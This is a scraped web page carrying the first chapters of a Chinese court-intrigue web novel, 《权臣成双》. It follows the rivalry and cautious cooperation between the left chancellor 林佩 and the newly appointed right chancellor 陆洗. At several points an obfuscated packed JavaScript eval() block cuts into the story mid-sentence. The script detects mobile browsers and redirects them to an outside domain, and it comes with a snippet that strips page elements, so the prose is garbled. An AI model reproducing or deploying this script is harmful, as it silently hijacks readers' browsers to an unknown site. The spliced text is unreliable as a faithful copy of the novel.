《权臣成双》 1. 林佩 一朝天子一朝臣,先帝殡天不久,老丞相亦请辞归乡。 阜国历经十年党争内耗,国力空虚,百废待兴。 老丞相临行前向小皇帝推荐了一位继任之人,其门生林佩,现同平章政事,正二品。 得知此事,太后亦向小皇帝推荐了一个辅政人选,时任平北巡抚的陆洗,正二品。 正月朝会,小皇帝先宣诏任林佩为左丞相,后请林佩到御书房,授意他回去起草一封敕书,调陆洗入京升任右丞相。 下朝,众官员回公署当值。 天下着鹅毛大雪,远处宫殿融入淡灰色的天际线,风卷雪絮穿过宫道,两侧白雪映漆墙。 林佩缓缓走过东华门。 门外等候的一众官员迎面而来。 为首贺喜的是昔日同僚,而后各部院堂官纷纷附和。 ——“林大人,恭喜恭喜啊。” ——“林大人升任相国,实乃是国家社稷的大喜事。” 林佩回礼,态度谦和:“与诸位大人共事才是某之荣幸,望今后互帮互助,共担国事。” 一袭赤罗衣衬得他皮肤白皙身材修长,近时见眉如翠羽,目似柳叶,眼底流光若潺潺春水,说不出的书卷气。 “知言,适才陛下单独召见,是否有什么旨意?”吏部尚书杜溪亭问道,“先帝临终定下双相辅政之制,不知右相的人选定了没有,是不是礼部方时镜方尚书?” 礼部尚书方时镜今日告病并未上朝,而其余几位尚书对此亦十分关切。 林佩一时没有回答。 杜溪亭道:“怎么,难道不是方尚书?” 林佩道:“我正斟酌此事,请诸位稍安,是与不是明日便知。” 杜溪亭道:“方尚书材优干济,若不是他恐怕难以服众呐。” 林佩看了对方一眼,道:“老杜,你且先回署,别带着大家在这里吹西北风,方尚书已经告病,要是谁明日又受了寒,你担不起这个责任。” 杜溪亭等人这才作罢,拱手告退。 应对完一众官员,林佩走回中书省,在文辉阁门前抖了抖身上落的雪,提袍跨过门槛。 阁内的郎中、舍人正在忙碌。 林佩脱去斗篷走进侧屋,拉下帘子,利索地把朝服换为常服,就盆中热水洗了洗手。 左边的这间侧屋是他平时办公之处,事务繁忙时一度起居于此。 进门可见一榻一几,对墙书架,靠窗长书桌,清一色的黄花梨木,均已使用多年。 长书桌上古砚一方、旧窑笔格一架、斑竹笔筒一个、笔洗、湖斗、水中丞、石镇纸各一样,也都是官署里中规中矩的档次,没有任何多余的装饰。 不时,温迎令小书吏端来一碗热气腾腾的姜汤。 “大人暖暖身子,每年雪天大朝你都得病一场。”温迎现任参议,是跟随林佩做事的副官,“眼下正是百废待兴之际,你更得保重身体,不要过度劳累了。” 林佩坐下,捂嘴咳嗽了几声:“不碍事。” 温迎等林佩喝完姜汤,才想起贺喜,笑着说道:“大人你现在是中书省的主官了,按规矩不宜再在偏屋办公,什么要紧事都放一放,先让书吏们把你平时用的东西摆上堂屋。” 林佩道:“这事为时尚早,当务之急我们要拟一道敕书。” 直到这时温迎停顿了。 文辉阁中无小事,每日处理奏本、草拟诏敕、宣发公文,所用每一张纸每一笏墨每一枚印都有细致而繁琐的讲究。 他虽不知要拟的是什么旨意,但他知道所用的三丹符表示发往地方,而云鹤锦配玉轴授予一品官,结合当下局势,就意味着要调一位封疆之吏入京为右相。 龙文缘边纸在书案上徐徐铺开。 林佩拿起笔,在那祥云龙纹上方悬停片刻,落下笔锋。 他在中书省八年,落笔成书,字迹与印刷出来的无二。 【奉天承运皇帝,诏曰:敕平北巡抚陆洗治理地方有功,升为中书省右丞相,入阁参赞机务,切望仰体圣恩,恭谨办事,辅弼新政,钦此。】 温迎站在旁边看着,额角渗出汗水。 林佩搁下笔,揉了揉手腕。 温迎道:“大人,如此一来,礼部怕要记恨你了。” 林佩平淡道:“封缄之后立刻派人送入宫中。” 温迎捧起卷轴,低头应是。 林佩浅叹一口气,扶着椅子起身,走到正堂前伫立。 堂上悬挂着一幅雕刻“勤于守成”四字的牌匾。 木匾的正下方摆着一张宽大的紫檀书案,书案的边角因常年摩损而褪色,变得光滑老旧,两端雕刻的祥云仙鹤纹也有几处磕碰掉漆的痕迹,连桌腿都有裂痕了。 不久前老丞相坐在这里通宵达旦处理政务的身影仍历历在目,转瞬之间只剩一张空空的案台。 林佩也不知为什么,明明什么陈设都还没有动,却觉得一切都变了。 他生于名门望族,进士及第,入翰林修撰,历任礼部郎中,吏部左侍郎,后得老丞相吴晏舟赏识调进中书省为储相,在天下权力中枢修炼了多年,及至吴晏舟体力不济时常告假,他已然能一人进宫对策并处理所有的事务。 他自是忘不了刚入仕时朝局清明、君臣和谐、一切欣欣向荣的景象,只恨党争夺嫡耗尽了盛世气象,包括吴晏舟在内的许多老臣到最后为保命只能缄口不言。 他同样忘不了永熙二十四年殿试之上染着血的状元卷——常州学子魏蓼汀写下时政四弊,一乃广南失政,二乃北防失利,三乃民生失和,四乃典法失修,当场因逆龙鳞被杖毙。 先帝临终之前却又翻然悔悟,追魏蓼汀为当年状元,并嘱托吴晏舟定要除去四弊,中兴王朝。 状元卷现在从吴晏舟的手中传到了他的手中。 回忆御书房里的情形,十二岁的小皇帝朱昱修对他说话就像背诵经文,他眼不瞎耳不聋,自然能领会右相人选是太后董氏定下的,若他此时还要强行出头举荐与自己师出同门的方时镜,必会打破政局的平衡,给吴晏舟惹来无端的猜忌。 他又何尝不知,董氏授意他来写这道敕书,明面上给足了尊重,实际上却是试探他对皇室的忠诚。 雪从屋檐滴下。 屏风映着断续的丝影。 书吏们放下手中的书簿:“林相,适才温参议让我们布置堂屋,您有何吩咐?” 林佩抚摸旧案,指尖划过薄尘:“我念旧,恩师的案台能不动的就不要再动了,往后我依旧在左边这间办公,你们如果有闲情,就把右边那间屋子收拾出来备用。” * 文辉阁位于东华门外,北临文华殿,南连千步廊,是中书省办公之处,天下政务的中枢。 这道任命一日内通过御笔朱批送至中书省,三日内下达礼部,七日内发往平北地区。 不出十日,朝野皆知担任右丞相的人并不是方时镜,而是与太后关系甚密的平北巡抚陆洗。 纵观先帝一朝,非进士不入翰林、非翰林不入凤阁的规矩已经二十多年没有改动过了。 一时之间,言论骤起,满城骚动。 午间,林佩歪在榻上小憩,迷糊间听见外面一阵议论。 林佩清了清嗓子:“外面什么事?” 温迎进来答话:“大人,礼部上了奏本。” 林佩睁开眼,说了一个心中的猜测:“方时镜要辞官。” 温迎沉默。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林佩不急于倒酒,先把酒壶放到炉子上温着:“先前人人都猜测你会升任右相,没想到太后插了这一手把水搅浑,平心而论,换做是我我也不好受。” 方时镜道:“我并非贪恋权势,亦知月圆则亏水满则溢的道理,你我既师出同门,能在千步廊说两句话就很好了,岂能再同为宰辅?这几日我称病不朝,是为避开风头,不与你相争。” 林佩道:“我感佩于心。” 方时镜道:“可你也应当知道,我们这一让,让的是贤德之人,成的是君子之名,而非那些投机取巧、拉帮结派、谄媚惑主之流。” 林佩顿了顿。 他知道方时镜所用的这三个贬义词皆有所指,那就是右丞相陆洗。 林佩道:“看来你不服陆洗。” 方时镜道:“还用说吗,他的进士功名是恩科补录的,若品行端正为人忠厚倒也罢了,偏又是那样的名声。” 林佩道:“说句实话,我与陆洗不熟,我并不知道他究竟是什么样一个人。” 方时镜道:“和他打过交道的都知道,他不安本分,绝非善类。” 林佩道:“若是那样你更不应该离我而去,兵部与我只是点头之交,工部和太后走得近,户部又是那滑头,没有你的支持,我今后寸步难行。” 方时镜笑了,捋着胡须,仰头望新月:“我去意已决,你就是把我捧到天上也没用。” 林佩暂忍这一口气,拨开壶盖,见酒面边缘泛出微小气泡,便把酒壶拎了下来。 2. 陆洗 这米酒产自广南,夏季制曲,秋冬酿成,热过以后飘出花露清香。 多年以前二人在同一间官署办事,常开怀畅饮直至天明亦不觉累,而今酒香依在,只是人心莫测,并不似从前单纯了。 林佩知道处世的道理。 人若真心想辞官,便不会给他烧掉本子的机会。 人若只是对新来的上司不服气,犯不着到他的面前喋喋不休。 为巩固旧谊,他真正应该做的是拿出诚意。 酒入杯中缓缓涨高。 林佩道:“师兄,我知道你的那件心事。” 方时镜道:“我哪还有什么心事。” 林佩道:“自从十王府南迁,广南行政混乱,你便一直主张削藩,可是先帝晚年放任党争引发内耗,加之外敌环伺、天灾不断,致使国库入不敷出,要么兵部军饷吃紧,要么灾情急需赈济,朝廷只能把你的主张往后拖,拖了五六年了。” 方时镜收起笑容,似在等待林佩下一句话。 林佩道:“我思来想去,此事不能再拖,所以找了户部,决计今年拨款两百万两白银用于广南宣政,名义上是宣政,实际就是削藩。” 此言一出,立竿见影。 方时镜抓住林佩的手:“此话当真?” 林佩道:“能成全师兄一段千古流传的佳话,我荣幸之至。” 方时镜手心一紧,眼中渗出薄泪:“难为你记得我家乡这点事,我还以为有生之年等不到了。” 林佩叹气:“可惜现在银子有了,名头有了,你却决意要走,没人干活儿了。” 方时镜道:“谁说我要走,不走了,我不走了。” 林佩道:“你的病,好了?” 方时镜立即扯去纱布,端起酒杯一饮而尽。 林佩会心地笑了笑。 没有人比他更了解方时镜这只贪名的秃毛老仙鹤。 方时镜道:“知言,事已至此,我们师兄弟定要同心协力,不能让他人看笑话。” 林佩点头道:“年关一过,祭祀、会宾、春闱等几件礼部的大事同时都要操办起来,我们以不变应万变,无论陆洗有什么动作都先避其锋芒,自己站稳脚跟才是。” 二人喝完酒,月下又赏了一会儿梅花,重温当年意气。 京城之中关于右相人选的争议关键在方时镜,只要方时镜本人回礼部开衙办事,表现出对朝廷决策的支持,风波自然而然就会平息。 林佩没有追究何人在幕后推波助澜,而是把准事情的关键,用一笏墨稳住了京城的局面。 * 东长安街,月光照在石板大道上。 林佩回到家已是深夜。 门前的一对石狮线条古朴体态悠然,是祖上三代就有了的,此刻不知为何格外显神韵。 林佩侧过身,从管家手中接过暖炉:“老骆你发现没,今天这对石狮好像有些不同,变新了。” 老骆笑迎道:“相爷啊,哪是石狮子新了,门楣刷了剔红漆,檐上砌了玉瓦当,几盏灯笼也是新添的,才像个相府的样儿。” 林佩恍然,自己连日操劳国事,竟丝毫没有注意家门前的变化。 老骆道:“说到这,相爷,隔壁崇文里街的事你知晓了么?” 林佩道:“崇文里街怎么了?” 老骆道:“右相人还没到京师呢,就先托人把崇文里街最大的宅子买下了,门前石狮衔玉,门楣五彩遍装,好大的排场。” 林佩笑了笑:“是么。” 他并不在意陆府表面的风光,只是心中默默算了算日子。 任命文书应该才刚到平北,就算用最快的马传讯也绝无可能在今日办成此事,除非对方是年前得到的消息。 “相爷。”老骆见林佩久久不说话,开口试探,“你要看的那些东西,都放在密室。” 林佩回过神,道辛苦。 夜很静。 窗柩透出微光。 林佩走进书斋,把烛台放在架上,扳动隐藏的机关。 伴随木石转动的声音,一扇小门缓缓打开,露出里面的地道。 地道通往一间地下密室。 烛火逐渐照亮书案。 林佩解开头发披散在肩,长舒口气。 他揉了揉太阳穴,从书案上堆积的信件中取出一封,不紧不慢地打开。 直至此刻他才真正能静下心来研究这个人。 ——陆洗。 这些信件是他让老骆从各种渠道取得的关于陆洗生平的记录。 他与陆洗的确不熟。 尽管他日理万机,却从未离开京师超过半年,一切的一切呈现到他面前的时候都只是几页文字,实际上他对于地方州县是没有什么具象认知的。 而陆洗,恰恰就出生于阜国最荒僻贫穷的乡野之中。 陆洗原名陆乙,关于他的童年如何度过没有任何记录在案的文字可查,待履历写下第一行字句,他业已成年,改了名在江鄱杜淳县衙做门吏。 陆洗走的仕途与大多数科举入仕的文官截然不同,历经大起大落,充满坎坷与惊变。 永熙九年夏,江鄱境内大雨连绵,涝情严峻,京师遣使到当地监督抗灾赈济事宜。 杜淳县有一处堤坝,知县根据往年文献记录判断目前水位应无大碍,拒绝了陆洗带人去加固堤坝的请求。 陆洗见雨势不对,擅自召集五十余名乡人连夜赶路抵达杜家坝,正巧遇到决堤,当场堵住豁口,免去了河流下游数十县的灾祸。 但当他回到县衙,等待他的不是褒奖,而是一顿鞭笞。 知县说他违抗上令忤逆规矩,一番羞辱之后将他逐出衙门。 陆洗不甘心,做了一个铤而走险的决定。 次日他带领乡人拦在布政使陪钦差视察的路上,从怀中掏出一封按着百人指印的颂恩书。 ——“大人明断,杜家坝果然于昨晚松动,我等奉命及时堵住豁口,保住了大坝主体,下游百姓皆对大人感恩戴德,将此书献给大人!” 钦差见此多问了几句,想弄清事情的始末。 布政使一开始还不敢邀功,怕说错说漏,不想陆洗对答如流,一切细节都编撰得合情合理,言词之恳切竟使钦差潸然泪下。 这位布政使后来升迁入京,在一次特开恩科中举荐了陆洗。 陆洗的卷面放在春闱考场只能算中下之流,但因为这次补录的机会得到了功名。 方时镜口中的“投机取巧”说的便是此事,时人都以为陆洗会就此满足,不料这仅仅是陆洗诡谲命运的开端。 永熙十二年,朝廷在浙东兴修运河,拨款一千万两银,举国瞩目。 陆洗在工部主事已两年,因办事灵活迅捷,所以三番五次被委以重任往返于中央和地方,参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因这一波三折,陆洗毁誉参半,既是方时镜口中投机取巧、拉帮结派、谄媚惑主之人,清流避之不及,却也是深得太后信任的忠勇之士。 烛火跳动。 信件逐封拆开,纸页散落。 林佩细细地做了注解。 密室里的安静像极了党争时期的中书省。 他依然记得吴晏舟教给他们的生存之道——不妄言不妄动,只能听从一个人那就是先帝。 这样的生存之道显然与陆洗完全不同。 林佩看着无声的字句,一坐便是一宿。 * 二月初,右丞相车驾抵达京城。 五城兵马司卫队戍于正阳门两旁。 大道洒了水。 马蹄声从南到北传响,路上印过五寸车辙。 绣旗飘扬,金铃摇晃,无不彰显来人的身份。 千步廊也比往日热闹了些。 林佩让车夫避开人流,从翰林院后面的小路绕到文辉阁。 东华门前走出一个提灯的小太监。 林佩卷起马车帘子。 小太监碎步上前,低声道:“右相昨夜就到了,先去慈宁宫见了太后,现在御书房听训。” 林佩听罢,眼中闪过一丝意外。 车架未到,人却先到,若非有圣意,如此乖张行事是不合规矩的。 小太监轻轻地咳嗽了一声。 林佩回过神,示意随从给赏。 小太监道了谢,匆匆离去,消失在视线中。 林佩走进中书省大院,如往常从水缸里舀起一瓢水,浇灌院子正中的迎客松。 文辉阁里一切照旧,公文流转有条不紊,上下传达秩序井然。 温迎恭迎:“大人。” 林佩点了点头:“外面人声嘈杂,好在咱们这里还算清静。” 话没说完,一记哨声从身后传来。 院中不复清静。 3. 见面 ——“咳,箱子放下,来几个人把这挡路的盆景挪一挪,快点。” 一个书吏领着众小厮出现在门口。 小厮两人一组挑着木箱,箱子几乎不晃,个个看起来很沉。 书吏放下口中的瓷鱼哨,斥道:“停下作甚?还不快搬?” 小厮见迎客松旁边站着两位绯袍大员,一时不敢动作。 林佩挽起衣袖,把水瓢放回原处。 他腰间垂悬的玉花随步伐摆动,响声清脆如山泉流动。 书吏略一停顿,跪地行礼:“下官眼拙,未认出是林相和温参议。” 早春的天气依然寒冷,这书吏虽只穿青布长衫,动作利落丝毫不瑟缩。 温迎道:“你什么人?不知道这里是什么地方吗?” 书吏道:“下官宋轶,奉右相之令把办公所需之物搬入文辉阁。” 温迎正想训斥此人冒失,听到名字又把话咽了回去,目光转向林佩。 中书省从官约二三十,除去闲杂,有十四个正式职位,分别是正三品左右参议各一人,正五品郎中二人,正七品舍人十人,其余都事、检校、照磨、管勾等职由以上兼任。 按不成文的规矩,主官上任即会让一两个心腹之人担任从官,只要不是上面故意架空,一般都会批准,所以林佩和温迎都明白,这宋轶并不只是一个普通书吏,不久之后就会绯袍加身。 林佩对温迎吩咐几句,不再问院子里的事,转头走进里间去。 温迎清了清嗓子:“不必多礼,起来说话。” 宋轶起身,拍去膝盖上的灰,接着道:“温参议,下官想暂且挪开院子正中这些盆景,等右相的东西搬完了,再放回原处。” 温迎道:“还有多少?” 宋轶道:“大人移步。” 温迎走到门口一看,脸色立变。 方才几个沉甸甸的箱子相比于后面都还只是小件。 右相这一上任,把书柜、书架、书桌、榻、几、屏风全搬来了。 金丝楠木的纹理在阳光之下闪闪发光,宛若鎏金,照得整条官道金碧辉煌。 温迎觉得刺眼,一挥衣袖,让宋轶尽快布置,莫要干扰他人办公。 一个上午,文辉阁中指挥的哨声与搬运器具的脚步声交杂在一起。 待大件进了门,小厮又接连搬入名窑瓷器、名人书画、玉石、珊瑚等珍奇玩物,走过路过都能闻见从右侧屋里散发而出一股富贵气。 阁中官吏议论纷纷。 ——“右相的排场也忒大了。” ——“全用自己的物件,真气派。” 林佩坐在左边自己的屋里阅读各部奏本,静静地听着外面的议论。 他的清静一让再让,从宫墙之外让到文辉阁,从院子让到厅堂,眼下只剩方寸之地。 突然,帘子的一角掀开。 一只毛绒绒的猫爪伸进来。 “喵?” 林佩手中的笔一歪。 但见胖乎乎的一只黑白黄三花长毛猫儿探头进来。 猫瞳睁得又圆又大。 林佩和猫儿对视许久,低头一看,写了大半的文稿已染墨污。 他叹口气,揉掉纸张扔进火盆,重新起笔。 这道文书正与户部拨款事宜相关,十分机密,可说时迟那时快,那只猫儿忽地跑了进来。 “喵~” 林佩:“?” 猫儿扑到盆边,嗷呜一口把纸团叼出来,掉头就跑。 林佩:“?!” 猫儿跑几步又回过头看他,还勾起尾巴。 林佩起身去追。 他在中书省八年,从未似今日这样被一件小事搅扰心绪。 猫儿乱跑,喵喵叫唤着穿过堂后长廊,跳进一扇窗户,又钻到一个书柜里。 林佩跟进书房,打开柜门。 突然一阵谈笑声从堂前传来。 ——“右相一路舟车劳顿,着实辛苦。” 听动静是陆洗来了,阁中大小官员出门迎接。 林佩回过神,才发现自己进的是陆洗的书房,现正站在一个书柜旁,柜里的文书信件一叠叠的就放在他的手边。 “喵~”猫儿的耳朵飞快地动了动,吐出纸团,钻回笼里。 林佩:“……” 珠帘哗啦一声撩开。 林佩直起身,不着痕迹地把纸团藏进袖中。 “大人?”温迎后退半步朝门口看了看,以为是自己弄错了左右。 宋轶也很意外,毕竟他不知堂后相连,以为林佩此刻还在左屋处理政务,不想竟出现在这里。 一位衣装华美的男子随后走了进来。 林佩倒沉得住气,只往旁边挪动两步,锁紧笼子的门,拔出钥匙。 猫儿在笼里若无其事地舔爪子。 陆洗旋即开怀大笑。 “适才……”林佩转过身,目光与陆洗相接。 “得罪了。”陆洗上前行礼,笑着解释道,“妞儿是我在川西时用一条鱼干聘得的,没见过世面,更没见过你这般精致人物,一时好奇才越了规矩,你放心,日后我定好好调教它。” 林佩回礼。 二人正式见面。 ——“陆大人,我便是本阁左部堂官林佩,林知言。” ——“陆洗,陆余青,以后是右部堂官,承蒙关照。” 他们之前也曾见过,但那是地方官进京朝拜的场合,没有深交。 这回林佩仔细打量了陆洗的样貌。 这人的五官生得标致,鼻梁高挺,下颌棱角分明,一双眼眸明亮多情,带着淡淡笑意,既让人感到亲近,又不敢轻易逾越。 他的扳指上镶嵌着一枚鸽蛋大小的呈正阳之绿的翡翠,戴在他手上显得清透若冰,大气自然,品格正好。 陆洗道:“知言,适才你想说什么?” 林佩笑了笑:“不经意瞥到陆大人的诸多藏品,光顾着追猫儿,还没来得及观玩,可惜。” 陆洗顺势相邀:“你既来了,何须开口,我应主动与你介绍。” 林佩道:“好事。” 众人见此都松了口气,叹林佩镇静自若,也叹陆洗坦然大度,这番误会换作别人只能尴尬收场,放在左右丞相面前竟然一时瑜亮。 陆洗先从一张竖幅山水画说起,是前朝大家翰林画师予川居士之真迹。 画中山势巍峨,四面江水如带,中央奇峰突起于雾霭蒸腾之中,气势雄浑。 题词是《最高楼·寿秋水》——银河水,洗得世间清,山色雨余青。 林佩凑近看。 “居士作此画时年十八,尚未成名,却已绘出川河浩瀚之气。”陆洗道,“我常以此自勉,青衿之志,白首方坚,人应当坚守初心不为所移。” 林佩凝视江面的一处波纹,忽道:“果真是这里。” 陆洗见所指之处,笑了一下,款款道:“此处笔法与别处不同,不过瑕不掩瑜。” 林佩道:“岂止瑕不掩瑜,居士后来对弟子谈起过这幅画,说当时半醉半醒,不小心溅洒了一滴水,水被山风一吹晕开这一抹,却正显出雾霭蒸腾,是 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手里的纸团早已被汗水染湿。 他无法分辨陆洗的话中几分真心几分假意,只知文辉阁以往的清静一去不复返,二人之间的羁绊从此刻便开始了。 * 到任第二日,陆洗又给文辉阁大大小小的官吏都送了一份价值不菲的来自北方地区的特产。 几个小书吏前脚还在议论嘲讽,后脚收到好处立刻殷情起来,说陆相富贵雍容慷慨大方。 这之后,文辉阁的风气发生了微妙的变化,左右两间书屋呈现出两种截然不同的风格。 林佩每回掀起竹帘都要看到一道来自对面金丝楠木的光,他被这道光唬住,又只好坐回去,用堆积如山的公文镇住心境。 * 二月天气转暖,屋檐墙角有些杂草冒了出来,望去绿意盎然。 吏部尚书杜溪亭来找林佩谈官员考功之事,往右边看了一眼,笑道:“远见金光闪耀,走近才发现是右边那间屋子照出来的,不知陆相在办的是什么差事,见的都是哪个衙门的人?” 杜家与林家同为开国封赏的公爵之家,杜溪亭与林佩同住东长安街,是从小玩到大的发小。 “老杜,别问了,我真不知道。”林佩摇了摇头,“我们还是等消息吧。” 户部尚书于染来找林佩核对朝廷收支,往右边看了一眼,话说得很实际:“陆相这一套金丝楠木在京中少说也得三千两银子,他官威真不小。” 于染身材精瘦,眼睛小而有神,下巴留着整齐的胡须。他掌管国库已有十年,擅于算术,据说是每天都要清点一遍自己胡须的根数,做到根根分明才肯上衙。 林佩同样是摇了摇头:“齐光,先不要管那边,我们做好手头的事要紧。” 刑部尚书尧恩来报案情,毫不例外地往右边多看了一眼,但没开口问。 尧恩的面相有股清冷之感,不爱说话,原是寒门出身,得林佩提拔到现任位置。 “冬青,看来你也想问。”林佩照例说道,“不过说句实话,问了我也不知道。” * 林佩没有过谦,他的确不知道陆洗在做什么,但可以肯定的是,太后在此新旧交替之际任用陆洗这样一个人,定有深远的目的。 是日,林佩把手头的事情办完,搁下笔,到廊外和从官一起吃午饭。 4. 试探 因京城地价贵,大部分官员的家离皇城都很远,所以千步廊及其北边的官署专设厨房,每日按例供给饭食,方便大小官员在此办公生活。 今日做的是红烧肉。 林佩和温迎面对面坐下,刚要动筷,见宋轶提着一个三层红漆木盒跑进堂中。 一众官吏便看着宋轶打开木盒,把海参烧鲍鱼、黄焖猪蹄、燕窝羹、上汤甲鱼一道一道摆到盘上,再端进陆洗的书房。 红烧肉顿时就没那么香了。 温迎摇了摇头:“唉,依我看陆相不是不习惯京中的口味,而是嫌咱官署里的伙食太差。” 林佩道:“他的宅子离得不远,送饭方便。” 温迎道:“大人你不也住附近么,哪一日见你让家里送过饭食,都是和我们一起吃。” 林佩放下碗筷,洗手擦脸:“如此,我不在这儿吃了。” 温迎咽下口中的饭,啊了一声。 林佩起身往公堂走去,安抚众人道:“你们吃你们的,我去蹭陆大人一只鲍鱼解解谗。” 珠帘被轻轻撩开。 一道屏风隔着人影。 林佩咳了咳:“陆大人,方便谈点儿私事吗?” 陆洗道:“听到你们说的话了,大抵土豪新贵入京都是这一副炫耀张扬的嘴脸,你就当看个笑话也罢。” 林佩道:“好冤枉,我何时笑过你?” 陆洗道:“宋轶,请林相进来坐。” 林佩走进屋内,看到整盘的山珍海味竟然一动没动,唯独小碗盛的稀粥有被食用的痕迹。 陆洗漱过口,表明这顿饭已经结束。 林佩坐下,想了想,开口道:“听闻陆大人谪居川西之时曾被仇家下过毒,所以谨慎。” 陆洗道:“多谢关心。” 林佩道:“但今非昔比,文辉阁乃机要之地,饭食端上来之前都有人尝过,是绝对可靠的,退一万步说,若是你在这里被下毒,那我亦难辞其咎,亦活不成了。” 陆洗点点头,喝了口清水,见林佩还是不依不饶地看着自己,苦笑道:“原来你是怕我一人吃饭这件事传扬出去,会被外人误会,以为你刻薄我排挤我。” 林佩道:“陆大人既然明白,就请不要让我难做。” 陆洗道:“知言,唉,你又误会我了。” 林佩道:“什么?” 陆洗把那半碗稀粥放到书桌一角,然后让宋轶过来端走其余几道好菜。 只不过这回,好菜都被放在木盒下面两层,上面示人的那层是空的。 “林相不知,因那次被下毒,我家大人的肠胃受了重伤,难以治愈。”宋轶解释道,“他现在只能喝点儿稀粥,且就连这么一小碗都要半天才能下咽。” 林佩怔了一下。 这样的事他是没有经历过的。 林佩道:“是我唐突了。” 陆洗道:“哪里的话,不过你可真得替我保密,因为我也不想让外人嘲笑,说我小时候家里穷没吃过什么好东西,现在官居一品了,吃的反倒还不如从前,丢脸啊。” 林佩点了点头,应下此事。 午歇便这么过去了。 下晌,林佩在自己屋里阅览各地的奏本,挑选要让皇帝知悉的重大事项。 陆洗站在竹帘之外,清了清嗓子。 林佩道:“请。” 竹帘掀起。 陆洗第一次进林佩的书房,看到四处堆放的公文以及极简朴素的陈设,显然也受了些震撼。 林佩走出屏风:“公事私事?” 陆洗道:“私事方才就说了,这回是公事。” 林佩笑了笑,和气道:“朝会将近,陆大人总算来与我谈公事了。” 陆洗道:“还请你多多关照。” 两人并排坐下。 陆洗道:“我有两件事与你商量,一来是中书省右参议的人选。” 林佩一笑,从书架上抽出卷轴,交到陆洗手中:“早给你拟好了,上晌老杜来时我也跟他打过招呼了,请过目。” 陆洗打开卷轴,赫然见一道拔擢宋轶为中书省右参议的敕书。 林佩道:“宋轶原来好歹也是四品同知,总不能一直这么做书吏给你端茶送水。” 陆洗似有些意外:“知言,我不知该说什么,你真是胸襟磊落。” “这道敕书一会儿我便送入宫去,待陛下未批,次日能发出。”林佩捋平膝上的衣布,自若道,“第二件事是什么?” 陆洗道:“稍等,第一件事还没完。” 林佩道:“何处不周?” 陆洗放下林佩给他写好的敕书,低头又从袖中拿出另一道卷轴。 卷轴展开,同样是用云鹤花锦裱装,同样是用正楷字体写的任命宋轶的敕书。 陆洗笑道:“你考虑的自然是周全的,但我窃以为,拟旨请命宣发公文等等事务总不能一直由你替我操办,那样太麻烦你了,我心中有愧。” 林佩一眼就看出这字不属于文辉阁中任何一位舍人和郎中,但不能否认,敕书严丝合缝,无论是字的间距,还是用词的规范,都完全符合规定。 林佩道:“阁中何时来了新人,我竟不知。” 陆洗道:“不,不是来了新人,是我自己写的。” 林佩道:“何劳陆大人亲自写,一般来说,让舍人和郎中先写出初稿,待你过目之后,自会有专人誊写制作。” 陆洗道:“可是,我听闻我的任命敕书就是你亲自写的。” 林佩道:“那不一样,我做这事多年,自己写图个省事。” 陆洗笑道:“我是慢些,但也可以学。” 林佩若有所思。 一个人的书法如果在初学之时没有打牢基础,养成了不好的习惯,等长大再来改正就要付出成倍的代价,这也是为什么有些官员一大把年纪上道奏疏还要请人代笔的缘故。 他记得陆洗半年前上的奏章,字只能算清晰,但绝对谈不上美观。 没想到仅仅半年时间,陆洗便练成了堪为典范的正楷,而这个近乎削筋磨骨的举动背后只有一个动机,就是为了能够融入中书省,成为真正的执笔之人。 “此事就依陆大人的意思。”林佩道点了点头,收起自己备好的卷轴,拆去轴柄,撕出里面的丝帛,丢进火盆,“流程我不过问。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749261|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >盆中窜起火焰。 丝帛顷刻间灰飞烟灭。 陆洗道:“好,现在说第二件事。” 林佩道:“请讲。” 陆洗道:“陛下要你我在今年办成一件事,新事,前无古人的事。” 风过堂,竹帘被轻轻抬起。 窗纸映着摇曳的叶影。 林佩一听前无古人四字便觉浑身不舒服,但随着谈话深入,他意识到这件事极有可能就是太后董氏调陆洗进京的真实目的,他得装作配合,套出陆洗的话。 林佩道:“你如果愿意告诉我,我定全力配合。” 陆洗道:“知言,屋里有地图吗?” 布幅抖落,地图展开,阜国一十三省呈现面前。 北方三省,包括晋北、平北和辽北; 南方二省,包括广南、桂南; 西边二省,包括雍西、川西; 中部三省,包括河中、湖广、江鄱。 京城地处金陵,位于大江入海口,北邻齐东省,南邻浙东省。 陆洗道:“陛下初登皇位,蒙古各国对我国北方领土虎视眈眈,尤其鞑靼,近来多次派兵骚扰边境,目的在窥探新政是否稳固,若置之不理,则是示弱于诸国,必将招来虎狼。” 陆洗顿了顿,继续道:“可眼下朝廷积弱已久,实际也不可能主动出击,是故邦交之策就显得尤为重要,陛下想在北边再设一京,升平北为北直隶,于十月秋防之前举行庆典,接受蒙古各国使臣朝贺,并以通商之利诱导各国暂时放弃掠夺,解当下之急,再缓缓图强。” 林佩思忖片刻道:“从地形上来看,平北府是有独特的优势。” 陆洗道:“我之见,北京皇城就在前朝旧宫的基础之上修缮,半年即可落成,如此既能保障南方疆土的安全,又向北方各国张扬了陛下的威名,岂不两全其美?” 林佩道:“可是……” 他略一停顿,手指向平北,语气平缓下来:“平北偏荒已久,要举办国之盛典,除了修缮宫殿,连同道路也要修,还需考虑人员、物资、兵马之调动,耗费之巨恐国库一时难以承受。” 陆洗道:“这是陛下旨意,我等臣工应竭尽全力,不畏困难。” 林佩道:“陆大人,陛下只有十二岁。” 陆洗转过身:“你什么意思?” 林佩道:“陛下连平北是什么地方都不知道,怎会有此旨意?升平北为北直隶是太后的主张,因她的亲族多在北方,新设一京有利于她发展势力。” 陆洗道:“且先不问是谁的主张,国库当真拿不出这笔钱粮吗?” 